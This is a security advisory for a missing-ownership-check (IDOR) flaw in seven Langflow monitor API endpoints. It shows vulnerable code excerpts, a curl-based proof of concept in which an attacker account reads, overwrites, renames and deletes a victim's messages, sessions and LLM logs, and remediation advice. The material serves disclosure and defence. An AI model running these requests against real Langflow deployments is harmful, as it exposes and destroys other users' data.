Summary

Langflow's /api/v1/monitor router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources - messages, sessions, build artifacts, and LLM transaction logs - without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or flow_id. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (monitor.py) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.

Details

Source file: src/backend/base/langflow/api/v1/monitor.py

The correct pattern (used only in GET /monitor/messages, lines 77-80):

python
stmt = select(MessageTable)
stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)
stmt = stmt.where(Flow.user_id == current_user.id)
# ownership enforced

All 7 vulnerable endpoints are missing this guard:

1. GET /api/v1/monitor/builds (lines 27-33) - reads build data for any flow_id:

python
@router.get("/builds", dependencies=[Depends(get_current_active_user)])
async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):
    vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id)
# no ownership check
    return VertexBuildMapModel.from_list_of_dicts(vertex_builds)

2. DELETE /api/v1/monitor/messages (lines 102-107) - deletes any message by UUID:

python
@router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)])
async def delete_messages(message_ids: list[UUID], session: DbSession):
    await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))
# message_ids accepted verbatim, no ownership check

3. PUT /api/v1/monitor/messages/{message_id} (lines 110-134) - overwrites any message:

python
db_message = await session.get(MessageTable, message_id)
# no check: db_message.flow_id → Flow.user_id == current_user.id
db_message.sqlmodel_update(message_dict)

4. PATCH /api/v1/monitor/messages/session/{old_session_id} (lines 137-171) - renames any session:

python
stmt = select(MessageTable).where(MessageTable.session_id == old_session_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

5. DELETE /api/v1/monitor/messages/session/{session_id} (lines 174-188) - bulk-deletes any session:

python
await session.exec(
    delete(MessageTable).where(col(MessageTable.session_id) == session_id)
# no ownership filter
)

6. GET /api/v1/monitor/transactions (lines 191-211) - reads LLM prompt/response logs for any flow_id:

python
stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

7. DELETE /api/v1/monitor/builds - deletes build records for any flow_id: Shares the same root cause as endpoint #1 (GET /builds): flow_id is accepted as a bare query parameter and passed to the deletion path without a WHERE Flow.user_id == current_user.id ownership check, so any authenticated user can destroy another user's build artifacts.

PoC

Tested on Langflow v1.7.3 (langflowai/langflow:1.7.3) with two accounts: langflow (victim) and attacker_test (attacker).

bash
# Setup: authenticate both users
TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=langflow&password=langflow" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=attacker_test&password=Attacker123" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# Victim creates a flow (attacker only needs to know the flow_id - obtainable via brute force or enumeration)
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
# PoC 1: Read victim's LLM transaction logs (prompts + model responses)
curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200 - full transaction log returned including user prompts and model responses
# PoC 2: Read victim's build data
curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200
# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)
curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '["<victim_message_id>"]'
# HTTP 204 - message deleted
# PoC 4: Tamper with victim's message content
curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '{"text":"TAMPERED BY ATTACKER"}'
# HTTP 200 - message overwritten, "edit":true set
# PoC 5: Rename victim's session
curl -s -X PATCH \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200 - session renamed
# PoC 6: Bulk-delete victim's entire session
curl -s -X DELETE \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 204 - entire session deleted

All 6 demonstrated attack vectors confirmed (the 7th, DELETE /builds, shares the GET /builds root cause and was not separately scripted). After attacker operations: victim's message text read "TAMPERED BY ATTACKER", session renamed to attacker-controlled name, second session completely deleted.

Impact

This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).

Confidentiality: GET /transactions exposes the full LLM conversation history - user-submitted prompts and model responses - for any flow by flow_id. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). GET /builds exposes internal workflow execution state.

Integrity: PUT /messages/{id} allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. PATCH /messages/session/{id} allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.

Availability: DELETE /messages and DELETE /messages/session/{id} enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted.

Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.

AnalysisAI

Cross-tenant data access in Langflow versions prior to 1.9.0 allows any authenticated user to read, modify, rename, or permanently delete other users' messages, sessions, build artifacts, and LLM transaction logs via seven unprotected /api/v1/monitor endpoints. The flaw stems from missing ownership checks (IDOR/BOLA) where flow_id or resource UUIDs are accepted verbatim without verifying the requester owns them. No public exploit identified at time of analysis beyond the detailed PoC in the vendor advisory, and the issue is not listed in CISA KEV.

Technical ContextAI

Langflow is a Python (FastAPI/SQLModel) low-code platform for building LLM workflows, distributed via PyPI (pkg:pip/langflow). The root cause maps to CWE-639 (Authorization Bypass Through User-Controlled Key): the monitor.py router authenticates requests via Depends(get_current_active_user) but its SQL queries omit the JOIN Flow ... WHERE Flow.user_id == current_user.id predicate that the single correctly-coded endpoint (GET /monitor/messages) uses. Because messages, sessions, transactions, and vertex builds are keyed by UUIDs or flow_id accepted directly from the client, the database layer applies no tenant boundary, making every read/write/delete query a cross-user operation.

RemediationAI

Vendor-released patch: upgrade Langflow to 1.9.0 or later (pip install -U langflow or pull langflowai/langflow:1.9.0 / newer), per GHSA-9c59-2mvc-vfr8 (https://github.com/langflow-ai/langflow/security/advisories/GHSA-9c59-2mvc-vfr8). Until patching is possible, restrict the affected deployment to a single trusted tenant by disabling open user registration and removing non-essential accounts (eliminates the low-privilege precondition), and block external access to /api/v1/monitor/builds, /api/v1/monitor/transactions, /api/v1/monitor/messages, /api/v1/monitor/messages/{message_id}, and /api/v1/monitor/messages/session/* at a reverse proxy - the side effect is that the in-product monitor/observability UI for messages, sessions, and build history will stop working for legitimate users. Audit existing message, session, and transaction tables for unexpected modifications or deletions, since the IDOR leaves no inherent audit trail tying changes back to a different user's account.
